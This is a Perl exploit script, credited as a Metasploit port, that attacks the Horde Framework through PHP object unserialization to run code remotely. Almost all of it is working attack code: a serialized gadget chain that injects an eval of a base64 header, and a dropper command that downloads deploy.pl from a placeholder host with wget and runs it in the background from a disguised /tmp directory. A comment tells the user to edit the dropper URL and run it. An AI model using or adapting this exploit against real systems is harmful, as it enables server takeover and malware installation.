Horde Framework Unserialize PHP Code Execution

`#ported from metasploit by irrlicht  
#june 2014  
#modify dropper url and run  
use strict;  
use warnings;  
use LWP::UserAgent;  
use WWW::Mechanize;  
use MIME::Base64;  
  
if (!$ARGV[0]) {  
print "specify full login.php url\n";  
exit;  
}  
my $dropper = 'system("mkdir /tmp/\\" \\"; cd /tmp/\\" \\"; wget -O deploy.pl http://0.0.0.0/deploy.pl; nohup perl deploy.pl > /dev/null 2>&1 &");';  
my $command = encode_base64($dropper . "echo \"999999999\"; echo \"EXPLOITED\"; system(\"ps aux; ls -la /tmp/\\\" \\\"\"); echo \"999999999\";", "");  
my $loginpath = $ARGV[0];  
my $php_injection = "eval(base64_decode(\$_SERVER[HTTP_CMD]));die();";  
my $payload_serialized = "_formvars=O:34:\"Horde_Kolab_Server_Decorator_Clean\":2:{s:43:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_server\";";  
$payload_serialized .= "O:20:\"Horde_Prefs_Identity\":2:{s:9:\"\x00*\x00_prefs\";O:11:\"Horde_Prefs\":2:{s:8:\"\x00*\x00_opts\";a:1:{s:12:\"sizecallback\";";  
$payload_serialized .= "a:2:{i:0;O:12:\"Horde_Config\":1:{s:13:\"\x00*\x00_oldConfig\";s:". length($php_injection) .":\"$php_injection\";}i:1;s:13:\"readXMLConfig\";}}";  
$payload_serialized .= "s:10:\"\x00*\x00_scopes\";a:1:{s:5:\"horde\";O:17:\"Horde_Prefs_Scope\":1:{s:9:\"\x00*\x00_prefs\";a:1:{i:0;i:1;}}}}";  
$payload_serialized .= "s:13:\"\x00*\x00_prefnames\";a:1:{s:10:\"identities\";i:0;}}s:42:\"\x00Horde_Kolab_Server_Decorator_Clean\x00_added\";a:1:{i:0;i:1;}}";  
$|=1;  
my $ua = new LWP::UserAgent(ssl_opts => { verify_hostname => 0 });  
$ua->timeout(3);  
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13");  
my $request;  
$request = new HTTP::Request(POST => $loginpath);  
$request->header('CMD' => $command);  
$request->header('Content-Type' => "application/x-www-form-urlencoded");  
$request->content($payload_serialized);  
my $mech = WWW::Mechanize->new(timeout => 3, ssl_opts => { verify_hostname => 0 });  
my $response = $mech->request($request);  
my $code = $response->code;  
my $body = $response->decoded_content;  
print $response->code."\n";  
#print $body."\n";  
if ($body =~ /999999999/) {  
print $body."\n";  
}  
`